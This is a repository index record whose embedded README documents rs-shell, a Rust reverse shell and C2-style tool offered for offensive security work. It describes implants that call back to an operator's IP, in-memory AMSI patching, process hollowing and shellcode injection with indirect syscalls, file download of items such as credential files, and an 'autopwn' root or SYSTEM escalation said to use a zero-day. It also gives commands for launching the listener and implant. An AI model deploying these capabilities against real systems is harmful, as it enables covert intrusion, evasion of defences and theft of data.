{"id":13578091,"url":"https://github.com/BlWasp/rs-shell","last_synced_at":"2025-04-05T15:32:21.567Z","repository":{"id":176940823,"uuid":"657191323","full_name":"BlWasp/rs-shell","owner":"BlWasp","description":"A dirty PoC for a reverse shell with cool features in Rust","archived":false,"fork":false,"pushed_at":"2024-09-03T21:48:21.000Z","size":822,"stargazers_count":182,"open_issues_count":0,"forks_count":20,"subscribers_count":3,"default_branch":"main","last_synced_at":"2025-04-02T05:56:02.215Z","etag":null,"topics":["offensive-security","reverse-shell","rust","win32api"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/BlWasp.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-06-22T14:10:21.000Z","updated_at":"2025-03-14T23:46:57.000Z","dependencies_parsed_at":null,"dependency_job_id":"56451591-6376-4bdf-b510-df2b9c0a9e24","html_url":"https://github.com/BlWasp/rs-shell","commit_stats":null,"previous_names":["blwasp/rs-shell"],"tags_count":5,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BlWasp%2Frs-shell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BlWasp%2Frs-shell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BlWasp%2Frs-shell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BlWasp%2Frs-shell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/BlWasp","download_url":"https://codeload.github.com/BlWasp/rs-shell/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247359392,"owners_count":20926413,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["offensive-security","reverse-shell","rust","win32api"],"created_at":"2024-08-01T15:01:27.280Z","updated_at":"2025-04-05T15:32:16.556Z","avatar_url":"https://github.com/BlWasp.png","language":"Rust","funding_links":[],"categories":["Rust"],"sub_categories":[],"readme":"\u003ch1 align=\"center\"\u003e\n\u003cbr\u003e\n\u003cimg src=img/logo_craiyon.png height=\"400\" border=\"2px solid #555\"\u003e\n\u003cbr\u003e\n\u003cstrong\u003eRS-Shell\u003c/strong\u003e\n\u003c/h1\u003e\n\n*\"The worst Rust programmer you have ever seen\"* - my mom\n\n*\"But at least it works\"* - still my mom, but not about me\n\n## Description\n\nRS-Shell is reverse shell solution developped in Rust with client, implant and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved. This project is like my Rust sandbox where I can test new things.\n\nRS-Shell implements two modes: **TLS over TCP** and **HTTPS**.\n\n* TLS over TCP mode is a standard reverse shell where the implant executed on the target machine will connect back to the TLS listener, running on the operator's machine\n* HTTPS mode works more like a C2 infratructure, with an HTTPS server, an implant, and a client:\n    * The HTTPS server is executed on a server accessible by both the implant and the client. It is based on the [Actix](https://actix.rs/) web framework with [Rustls](https://docs.rs/rustls/latest/rustls/)\n    * The implant is executed on the target machine and will request the server for \"new tasks\" every 2 seconds (by default, can be changed in the code for the moment)\n    * The client is executed on the operator's machine. It will also connect to the server via HTTPS, and will permit to send the commands to the implant\n\nWindows HTTPS implant is partially proxy aware thanks to the [Windows's WinINet library](https://learn.microsoft.com/fr-fr/windows/win32/wininet/about-wininet). This means that it is able to identify proxy configuration in the registry and automatically authenticate against it if necessary (if the proxy is not configured via the registry or a WPAD file, this will probably fail, and you will have to indicate the proxy URL and the credentials manually in the implant code).\n\nClient, implant and server are all cross-platform and work on Windows and Linux systems.\n\nFor Windows implants, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.\n\nFor this purpose, I have chosen to mainly use the official [windows_sys](https://docs.rs/windows-sys/latest/windows_sys/) crate to interact with the Win32API and the [ntapi](https://docs.rs/ntapi/latest/ntapi/) crate for the NTAPI.\n\nThe project is thought in module. This means that you can easily add or remove features to and from it, and you can also easily take parts from it to put them in your own project.\n\n## Features\n\nFor the moment, the following features are present:\n\n* Semi-interactive reverse shell via TLS over TCP\n* Semi-interactive reverse shell via HTTPS with a *C2 like infrastructure*, and a proxy aware Windows implant\n* File upload and download\n* Start a PowerShell interactive session with the ability to patch the AMSI in memory with or without indirect syscalls (**only in TCP mode**)\n* Loading features :\n  * Load and execute a PE in the implant memory, **with or without indirect syscalls**\n  * Load and execute a PE in a remote process memory, **with or without indirect syscalls**\n  * Load and execute a shellcode in a remote process memory, **with or without indirect syscalls**\n* Autopwn the client machine and elevate the privileges to SYSTEM or root by exploiting a 0day in `tcpdump`\n\nTo perform the indirect syscalls, I use the incredible [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) project initiate by [memN0ps](https://twitter.com/memN0ps). However, I use the version from my repository, which just patches little errors I have found regarding libraries versions and crate imports.\n\n## How to\n\n### Setup\n\nBy default, only the `error`, `warn` and `info` logs are displayed. If you also need the `debug` ones (can be usefull for the loading features), you can change this in `main.rs` by modifying `::log::set_max_level(LevelFilter::Info);` to `::log::set_max_level(LevelFilter::Debug);`.\n\n#### TCP setup\n\nI have set a `dummy` domain for hostname validation in the `connect()` function for both clients in TCP mode. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.\n\nA new self-signed PKCS12 TLS certificate can be obtained like this:\n\n```bash\nopenssl req -newkey rsa:2048 -nodes -keyout private.key -x509 -days 365 -out certificate.cer\nopenssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer\n```\n\n#### HTTPS setup\n\nSimilarly to TCP, I have set up all the flags in the clients' configurations to avoid certificate checks and use self-signed certificates. If you use a signed certificate for a real server, you can change it and remove the unsecure flags that remove hostname and certs validations.\n\nRustls doesn't seem to support PKCS12 certificates (maybe I haven't found how to do it?). So, to obtain a PKCS8 certificate with a separate private key:\n\n```bash\nopenssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'\n```\n\n### Compilation\n\nThe project can be compiled with `cargo build --release` on Windows or Linux and the binary will be present in `target/release/`, or the target name if a target is specified.\n\nTo cross-compile for a different target than your current OS you can use, for example, `cargo build --release --target x86_64-pc-windows-gnu`. In order to work, this requires the appropriate target toolchain to be installed. As an example, to generate Windows binaries from an Ubuntu machine:\n* `sudo apt install mingw-w64`\n* `rustup target add x86_64-pc-windows-gnu`\n* `cargo build --release --target x86_64-pc-windows-gnu`\n\nThe project compilation has been tested with the following Rust toolchains :\n\n* `stable-x86_64-pc-windows-gnu`\n* `stable-x86_64-pc-windows-msvc`\n* `stable-x86_64-unknown-linux-gnu`\n\nIf you compile the project for a Linux target, the \"Windows features\" will be removed at compilation.\nShould run on all Windows and Linux versions (I have hope).\n\n### Usage\n\n```plain\nUsage: rs-shell.exe [OPTIONS] --mode \u003cmode\u003e --side \u003cside\u003e --ip \u003cip\u003e\n\nOptions:\n  -m, --mode \u003cmode\u003e            communication protocol. TCP will open a simple TLS tunnel between an implant and a listener (like a classic reverse shell). HTTPS will use an HTTPS server, an HTTPS implant on the target, and a client to interact with the implant through the server (similar to a C2 infrastructure) [possible values: tcp, https]\n  -s, --side \u003cside\u003e            launch the implant (i), the client (c) (only for HTTPS), or the listener (l) [possible values: i, c, l]\n  -i, --ip \u003cip\u003e                IP address to bind to for the TCP listener or the HTTP server, or to connect to for the clients and implants\n  -p, --port \u003cport\u003e            port address to bind to for the TCP listener, or to connect to for the implant\n      --cert-path \u003ccert_path\u003e  path of the TLS certificate for the server. In PFX or PKCS12 format for TCP, in PEM format for HTTPS\n      --cert-pass \u003ccert_pass\u003e  password of the TLS PKCS12 certificate for the TCP server\n      --key-path \u003ckey_path\u003e    path of the TLS key for the HTTPS server\n  -h, --help                   Print help\n  -V, --version                Print version\n```\n\n#### TCP usage\n\nTo obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe -m tcp -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password`. For example `rs-shell.exe -m tcp -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass \"Password\"`.\n\nThen, on the target machine launch the implant to connect back to your server with `rs-shell.exe -m tcp -s i -i IP_to_connect_to -p port_to_connect_to`. For example `rs-shell.exe -s c --ip 192.168.1.10 --port 4545`.\n\n#### HTTPS usage\n\nFirst, launch the binary in server mode on a server that can be reached by both the implant and the client: `rs-shell.exe -m https -s l -i IP_to_bind_to --cert-path certificate_path --key-path private_key_path`. For example `rs-shell.exe -m https -s l -i 0.0.0.0 --cert-path .\\cert.pem --key-path .\\key.pem`.\n\nThen, execute the implant on the target machine with `rs-shell.exe -m https -s i -i IP_to_connect_to`. For example `rs-shell.exe -m https -s i -i 192.168.1.40`.\n\nFinally, run the client on your machine to connect to the server and start to interact with the implant with `rs-shell.exe -m https -s c -i IP_to_connect_to`. For example `rs-shell.exe -m https -s c -i 192.168.1.40`.\n\n### Advanced commands\n\n```plain\n\u003e help\n[+] Custom integrated commands :\n\n    [+] Loading commands\n    \u003e load C:\\\\path\\\\to\\\\PE_to_load\n        load a PE file in the client process memory and executes it. This will kill the reverse shell !\n    \u003e load -h C:\\\\path\\\\to\\\\PE_to_load C:\\\\path\\\\to\\\\PE_to_hollow\n        load a PE file in a remote process memory with process hollowing and executes it\n    \u003e load -s C:\\\\path\\\\to\\\\shellcode.bin C:\\\\path\\\\to\\\\PE_to_execute\n        load a shellcode in a remote process memory and start a new thread with it\n\n    [+] Loading commands with indirect syscalls\n    \u003e syscalls C:\\\\path\\\\to\\\\PE_to_load\n        load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell !\n    \u003e syscalls -h C:\\\\path\\\\to\\\\PE_to_load C:\\\\path\\\\to\\\\PE_to_hollow\n        load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls\n    \u003e syscalls -s C:\\\\path\\\\to\\\\shellcode.bin C:\\\\path\\\\to\\\\PE_to_execute\n        load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls\n\n    [+] Bypass commands\n    \u003e powpow\n        start a new interactive PowerShell session with the AMSI patched in memory, with or without indirect syscalls\n\n    [+] Network commands\n    \u003e download C:\\\\file\\\\to\\\\download C:\\\\local\\\\path\n        download a file from the remote system\n    \u003e upload C:\\\\local\\\\file\\\\to\\\\upload C:\\\\remote\\\\path\\\\to\\\\write\n        upload a file to the remote system\n\n    [+] Special commands\n    \u003e autopwn\n        escalate to the SYSTEM or root account from any local account by exploiting a zero day\n```\n\nThe `load` commands permit to load and execute directly in memory:\n\n* `load` loads and execute a PE in the client memory. **This will kill the reverse shell**, but that could be usefull to launch a C2 implant in the current process for example\n* `load -h` loads and execute a PE in a created remote process memory with process hollowing. You don't lose your reverse shell session, but the process hollowing will be potentially flag by the AV or the EDR\n* `load -s` loads and execute a shellcode from a `.bin` file in a created remote process memory. You don't lose your reverse shell session, and you don't have to drop the bin file on the target, since the shellcode will be transfered to the target from your machine without touching the target's disk\n\nFor example : `\u003e load -h C:\\Windows\\System32\\calc.exe C:\\Windows\\System32\\cmd.exe`. This will start a `cmd.exe` process with hollowing, load a `calc.exe` image in the process memory, and then resume the thread to execute the calc.\n\nOn the other hand, the `syscalls` commands permit the same things, but everything is performed with *indirect syscalls*.\n\n`powpow` (**only available in TCP mode**) starts an interactive PowerShell session with a PowerShell process where the AMSI `ScanBuffer` function has been patched in memory. This feature is not particularly opsec. The patching operation can be performed with or without indirect syscalls.\n\n`download` permits to download a file from the client to the machine where the server is running. For example `download C:\\Users\\Administrator\\Desktop\\creds.txt ./creds.txt`. In HTTPS mode it is just `download C:\\Users\\Administrator\\Desktop\\creds.txt`, and the file will be downloaded in the `downloads` directory  on the server.\n\n`upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\\Temp\\pwn.exe`. In HTTPS mode it is just `upload ./pwn.exe`, and the file will be uploaded in the directory where the implant has been written.\n\n`autopwn` permits to escalate to the **SYSTEM or root account** with a 0day exploitation. Just type `autopwn` and answer the question.\n\n## Todo\n\n- [x] Move all the Win32API related commands to the NTAPI with indirect syscalls\n- [ ] Implement other injection techniques\n- [ ] Implement a port forwarding solution\n- [x] Find a way to create a fully proxy aware client\n- [ ] Implement a reverse socks proxy feature\n\n## Disclaimers\n\nThis is an obvious disclaimer because I don't want to be held responsible if someone uses this tool against anyone who hasn't asked for anything.\n\nUsage of anything presented in this repo to attack targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.\n\n## Acknowledgements\n\n* [OffensiveRust](https://github.com/winsecurity/Offensive-Rust) by [winsecurity](https://github.com/winsecurity). This project would never have existed without him. Many of functions, structures, and tricks present in `rs-shell` come from this project\n* [OffensiveRust](https://github.com/trickster0/OffensiveRust) by [trickster0](https://github.com/trickster0)\n* Multiple projects by [memN0ps](https://github.com/memN0ps)\n* [RustPacker](https://github.com/Nariod/RustPacker) by [Nariod](https://github.com/Nariod)\n* Nik Brendler's blog posts about pipe communication between process in Rust. [Part 1](https://www.nikbrendler.com/rust-process-communication/) and [Part 2](https://www.nikbrendler.com/rust-process-communication-part-2/)\n* [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) by [memN0ps](https://twitter.com/memN0ps), an incredible library for indirect syscalls in Rust\n* [Actix](https://actix.rs/) web framework","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FBlWasp%2Frs-shell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FBlWasp%2Frs-shell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FBlWasp%2Frs-shell/lists"}